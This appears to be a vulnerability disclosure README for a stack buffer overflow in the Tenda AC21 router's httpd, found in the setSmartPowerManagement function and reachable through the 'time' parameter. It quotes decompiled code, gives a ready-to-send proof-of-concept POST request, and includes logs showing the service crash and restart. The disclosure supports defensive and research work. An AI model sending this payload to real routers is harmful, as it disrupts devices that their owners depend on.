xxy1126 -20220902 ... on Sep 2 History

..

readme.assets	3 months ago
readme.markdown	3 months ago

readme.markdown

Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability

overview

- Manufacturer's website information： https://www.tenda.com.cn/
- Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

product information

Tenda A21(V16.03.08.15), latest version of simulation overview：

description

1. Vulnerability Details

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file `/bin/httpd`, function `setSmartPowerManagement`

Attackers can cause this vulnerability via parameter `time`

```
nptr = (char *)websGetVar(a1, "powerSavingEn", "0");
s = (char *)websGetVar(a1, "time", "00:00-7:30");
v4 = websGetVar(a1, "powerSaveDelay", "1");
v3 = (char *)websGetVar(a1, "ledCloseType", "allClose");
if ( nptr && s && v4 && v3 )
{
  sscanf(s, "%[^:]:%[^-]-%[^:]:%s", v7, v8, v9, v10);// 1
  sprintf(v11, "%s:%s", (const char *)v7, (const char *)v8);
  sprintf(v12, "%s:%s", (const char *)v9, (const char *)v10);
  GetValue("sys.sched.led.closetype", v13);
```

the `sscanf` function read string from `s`, and pass to `v10` which is on the stack without checking its length, so there is a buffer overflow vulnerability.

2. Recurring loopholes and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```
POST /goform/PowerSaveSet HTTP/1.1
Host: 192.168.0.1
```

```
Content-Length: 1087
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/system_time.html?random=0.9241437684734013&
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: password=25d55ad283aa400af464c76d713c07adqtucvb
Connection: close

nptr=0&powerSaveDelay=0&ledCloseType=0&time=11:11-
11:11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
```

By sending this poc, we can make `httpd` reboot

```
commit cfm failed or not need write flash
argv[0] = httpd
httpd


Yes:

      ****** WeLoveLinux******

 ****** Welcome to ******
[httpd][debug]----------------------------webs.c,158
httpd listen ip = 192.168.0.1 port = 80
webs: Listening for HTTP requests at address 192.168.0.1
ifname wlan0 autoch select channel now!
[tenda_autochannel_offset][11026] channel_offset=1
ifname wlan0 ACS select channel:40
```

httpd发生了重启,

```
4102 root       0:00 dhcp wan1 -c /etc/wan1.ini -m 1 eth1 -h linux-e00f153b0fb4 -x /etc/dhcpc-wan-up1.sh -a Tenda
4189 root       0:00 dnrd --cache=2000:4000 -R /etc/dnrd -s 172.26.26.3 -s 219.146.1.66
4273 root       0:00 miniupnpd -f /etc/miniupnpd.config
4286 root       0:00 sntp -z 28800 -t 86400
4344 root       0:00 httpd
4389 root       0:00 ps
```

```
4189 root       0:00 dnrd --cache=2000:4000 -R /etc/dnrd -s 172.26.26.3 -s 219.146.1.66
4273 root       0:00 miniupnpd -f /etc/miniupnpd.config
4468 root       0:00 [kworker/0:2]
4643 root       0:00 [kworker/0:0]
4779 root       0:00 sntp -z 28800 -t 86400
4787 root       0:00 httpd
4800 root       0:00 ps
```